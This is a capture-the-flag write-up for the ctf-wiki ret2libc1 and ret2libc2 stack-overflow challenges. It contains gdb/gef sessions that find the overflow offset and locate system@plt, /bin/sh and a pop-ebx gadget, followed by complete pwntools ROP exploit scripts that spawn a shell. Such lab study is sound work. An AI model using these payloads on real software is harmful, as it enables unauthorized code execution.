ROP----The Solution For Ret2libc
APP:
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3
TOOLS:
Gef plugin of gdb ROPgadget pwntools
Target:
1> Place the code in the buffer
2> Overflow the buffer
3> Overwrite the return address
SOLUTION:
All apps have a simiar stack overflow,the follow step will ensure the length of input buffer.
1. About overflow.
┌─[root@parrot]─[~/ROP]
└──╼ #gdb ret2libc1
gef➤ start
[+] Breaking at '{int (void)} 0x8048618 <main>'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xf7f9adc8 → 0xffffd3ec → 0xffffd534 → "SHELL=/bin/bash"
$ebx : 0x0
$ecx : 0xba8e8d52
$edx : 0xffffd374 → 0x00000000
$esp : 0xffffd2c0 → 0x00000000
$ebp : 0xffffd348 → 0x00000000
$esi : 0xf7f99000 → 0x001d9d6c
$edi : 0xf7f99000 → 0x001d9d6c
$eip : 0x08048621 → <main+9> mov eax, ds:0x804a060
$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd2c0│+0x0000: 0x00000000 ← $esp
0xffffd2c4│+0x0004: 0x00c30000
0xffffd2c8│+0x0008: 0x00000001
0xffffd2cc│+0x000c: 0xf7ffc8a0 → 0x00000000
0xffffd2d0│+0x0010: 0xffffd320 → 0x00000001
0xffffd2d4│+0x0014: 0x00000000
0xffffd2d8│+0x0018: 0xf7ffd000 → 0x00028f2c
0xffffd2dc│+0x001c: 0x00000000
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048619 <main+1> mov ebp, esp
0x804861b <main+3> and esp, 0xfffffff0
0x804861e <main+6> add esp, 0xffffff80
→ 0x8048621 <main+9> mov eax, ds:0x804a060
0x8048626 <main+14> mov DWORD PTR [esp+0xc], 0x0
0x804862e <main+22> mov DWORD PTR [esp+0x8], 0x2
0x8048636 <main+30> mov DWORD PTR [esp+0x4], 0x0
0x804863e <main+38> mov DWORD PTR [esp], eax
0x8048641 <main+41> call 0x80484a0 <setvbuf@plt>
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2libc1", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048621 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ disassemble main
Dump of assembler code for function main:
0x08048618 <+0>: push ebp
0x08048619 <+1>: mov ebp,esp
0x0804861b <+3>: and esp,0xfffffff0
0x0804861e <+6>: add esp,0xffffff80
=> 0x08048621 <+9>: mov eax,ds:0x804a060
0x08048626 <+14>: mov DWORD PTR [esp+0xc],0x0
0x0804862e <+22>: mov DWORD PTR [esp+0x8],0x2
0x08048636 <+30>: mov DWORD PTR [esp+0x4],0x0
0x0804863e <+38>: mov DWORD PTR [esp],eax
0x08048641 <+41>: call 0x80484a0 <setvbuf@plt>
0x08048646 <+46>: mov eax,ds:0x804a040
0x0804864b <+51>: mov DWORD PTR [esp+0xc],0x0
0x08048653 <+59>: mov DWORD PTR [esp+0x8],0x1
0x0804865b <+67>: mov DWORD PTR [esp+0x4],0x0
0x08048663 <+75>: mov DWORD PTR [esp],eax
0x08048666 <+78>: call 0x80484a0 <setvbuf@plt>
0x0804866b <+83>: mov DWORD PTR [esp],0x8048733
0x08048672 <+90>: call 0x8048450 <puts@plt>
0x08048677 <+95>: lea eax,[esp+0x1c]
0x0804867b <+99>: mov DWORD PTR [esp],eax
0x0804867e <+102>: call 0x8048430 <gets@plt>
0x08048683 <+107>: mov eax,0x0
0x08048688 <+112>: leave
0x08048689 <+113>: ret End of assembler dump. gef➤ b * 0x08048689 Breakpoint 1 at 0x8048689: file ret2libc1.c, line 30. gef➤ pattern create 128 [+] Generating a pattern of 128 bytes aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab [+] Saved as '$_gef0' gef➤ r Starting program: /root/ROP/ret2libc1 RET2LIBC >_< aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab Breakpoint 1, 0x08048689 in main () at ret2libc1.c:30 30 ret2libc1.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0 $ebx : 0x0 $ecx : 0xf7f995c0 → 0xfbad2288 $edx : 0xf7f9a89c → 0x00000000 $esp : 0xffffd34c → "daabeaabfaabgaab" $ebp : 0x62616163 ("caab"?) $esi : 0xf7f99000 → 0x001d9d6c $edi : 0xf7f99000 → 0x001d9d6c $eip : 0x08048689 → <main+113> ret $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd34c│+0x0000: "daabeaabfaabgaab" ← $esp 0xffffd350│+0x0004: "eaabfaabgaab" 0xffffd354│+0x0008: "faabgaab" 0xffffd358│+0x000c: "gaab" 0xffffd35c│+0x0010: 0xffffd300 → "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]" 0xffffd360│+0x0014: 0x00000001 0xffffd364│+0x0018: 0x00000000 0xffffd368│+0x001c: 0xf7f99000 → 0x001d9d6c ───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x804867e <main+102> call 0x8048430 <gets@plt> 0x8048683 <main+107> mov eax, 0x0 0x8048688 <main+112> leave → 0x8048689 <main+113> ret [!] Cannot disassemble from $PC ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "ret2libc1", stopped, reason: BREAKPOINT ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8048689 → main() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ ni //Execute it necessarily,so we could check the next address for return. 0x62616164 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0 $ebx : 0x0 $ecx : 0xf7f995c0 → 0xfbad2288 $edx : 0xf7f9a89c → 0x00000000 $esp : 0xffffd350 → "eaabfaabgaab" $ebp : 0x62616163 ("caab"?) $esi : 0xf7f99000 → 0x001d9d6c $edi : 0xf7f99000 → 0x001d9d6c $eip : 0x62616164 ("daab"?) $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd350│+0x0000: "eaabfaabgaab" ← $esp 0xffffd354│+0x0004: "faabgaab" 0xffffd358│+0x0008: "gaab" 0xffffd35c│+0x000c: 0xffffd300 → "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]" 0xffffd360│+0x0010: 0x00000001 0xffffd364│+0x0014: 0x00000000 0xffffd368│+0x0018: 0xf7f99000 → 0x001d9d6c 0xffffd36c│+0x001c: 0xffffffff ───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x62616164 ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "ret2libc1", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ pattern search 'daab' [+] Searching 'daab' [+] Found at offset 112 (big-endian search)
THe length of input buffer is 112
2. ret2libc1
gef➤ checksec ret2libc1
[+] checksec for '/root/ROP/ret2libc1'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
The NX protection has been enabled,so we couldn't use normal stack overflow method.
We try to calling external system function to execute system("/bin/sh") and complete this solution.
Now,we need to check the system calling address,and check if "/bin/sh" exist in binary.
┌─[root@parrot]─[~/ROP]
└──╼ #objdump -d ret2libc1 |grep system
08048460 <system@plt>: //The system function address is 0x0804a018
8048611: e8 4a fe ff ff call 8048460 <system@plt>
┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #ROPgadget --binary ret2libc1 --string "/bin/sh" //The shell's location is 0x08048720
Strings information
============================================================
0x08048720 : /bin/sh
So the exploit script as below(fill the input buffer,and call system function to execute "/bin/sh"):
#!/usr/bin/env python2
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x08048720
system_plt = 0x08048460
ret_after_system = "A"*4
#payload = "A"*112+p32(system_plt)+ret_after_system+p32(binsh_addr)
payload = flat(["A"*112,system_plt,ret_after_system,binsh_addr])
sh.recvuntil('RET2LIBC >_<')
sh.sendline(payload)
sh.interactive()
Automatic Script(Pwntools ROP):
#!/usr/bin/env python2
from pwn import *
sh = process('ret2libc1')
elf = ELF('ret2libc1')
rop = ROP(elf)
def pwn(sh,payload):
sh.recvuntil('RET2LIBC >_<')
sh.sendline(payload)
sh.interactive()
binsh = elf.search('/bin/sh').next()
system = elf.plt['system']
ret_after_system = "A"*4
payload = flat(["A"*112,system,ret_after_system,binsh])
pwn(sh,payload)
Use the template of pwntools to generate script like below:
┌─[root@parrot]─[~/ROP]
└──╼ #pwn template ret2libc1 > ret2libc1_exp.py
┌─[root@parrot]─[~/ROP]
└──╼ #vi ret2libc1_exp.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ret2libc1
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('ret2libc1')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
io = start()
buf = ''
buf += "A"*(cyclic_find('daab')-len(buf))
rop = ROP(exe)
binsh = exe.search('/bin/sh').next()
system = exe.plt['system']
ret_after_system = "A"*4
payload = flat([buf,system,ret_after_system,binsh])
io.recvuntil('RET2LIBC >_<')
io.sendline(payload)
io.interactive()
3. ret2libc2
┌─[root@parrot]─[~/ROP]
└──╼ #pwn checksec ret2libc2
[*] '/root/ROP/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
It's very similar to the previous,but there have no string "/bin/sh",so we need to write it to writable section.
check the writable section use readelf command,all sections which could be writen as below.
┌─[root@parrot]─[~/ROP]
└──╼ #readelf -S ret2libc2 |grep "WA" [18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 0804a000 001000 000038 04 WA 0 0 4 [24] .data PROGBITS 0804a038 001038 000008 00 WA 0 0 4 [25] .bss NOBITS 0804a040 001040 0000a4 00 WA 0 0 32
We could write "/bin/sh" to symbol "buf2" or "completed.6591" wthich in .bss section.
┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #objdump -t ret2libc2|grep .bss
0804a040 l d .bss 00000000 .bss
0804a064 l O .bss 00000001 completed.6591
0804a080 g O .bss 00000064 buf2
0804a040 g O .bss 00000004 stdin@@GLIBC_2.0
0804a0e4 g .bss 00000000 _end
0804a060 g O .bss 00000004 stdout@@GLIBC_2.0
0804a040 g .bss 00000000 __bss_start
Because gets() function could accept input,so we try follow step.
1> Check the system plt address.
┌─[root@parrot]─[~/ROP]
└──╼ #objdump -D ret2libc2|grep 'system'
08048490 <system@plt>:
8048641: e8 4a fe ff ff call 8048490 <system@plt>
2> Check the gets plt address
┌─[root@parrot]─[~/ROP]
└──╼ #objdump -D ret2libc2|grep 'gets'
08048460 <gets@plt>:
80486ba: e8 a1 fd ff ff call 8048460 <gets@plt>
3> Check the return address of ebx.
┌─[root@parrot]─[~/ROP]
└──╼ #ROPgadget --binary ret2libc2 --only 'pop|ret' |grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
Automatic script as below:
┌─[root@parrot]─[~/ROP]
└──╼ #cat ret2libc2_exp.py
#!/usr/bin/env python2
from pwn import *
'''
sh = process('./ret2libc2')
gets_plt_addr = 0x08048460 # objdump -d ret2libc2|grep gets
system_plt_addr = 0x08048490 # objdump -d ret2libc2|grep system
pop_ebx = 0x0804843d # ROPgadget --binary ret2libc2 --only 'pop|ret' |grep ebx
buf2 = 0x804a080
sh_addr = 0x0804857f
payload = flat(['A'*112,gets_plt_addr,pop_ebx,buf2,system_plt_addr,0xdeadbeef,buf2,sh_addr])
sh.sendline(payload)
sh.interactive()
sh.close()
'''
sh = process('./ret2libc2')
elf = ELF('./ret2libc2')
rop = ROP(elf)
def pwn(sh,payload):
sh.recvuntil('?')
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
# buffer which can overwrite
buf2 = elf.symbols['buf2']
# plt of gets() function.
gets_addr = elf.plt['gets']
# plt of system() function.
system_addr = elf.plt['system']
# ret for ebx
ret_ebx = rop.find_gadget(['pop ebx','ret'])[0]
ret_addr = 0xdeadbeef //Set a return to system.
# payload = 'a'*112 +p32(gets_addr)+p32(system_addr)+p32(buf2) + p32(buf2)
# payload = 'a' * 112 + p32(gets_addr) + p32(ret_ebx) + p32(buf2) + p32(system_addr) + p32(ret_addr) + p32(buf2)
payload = flat(['a'*112,gets_addr,ret_ebx,buf2,system_addr,ret_addr,buf2])
pwn(sh,payload)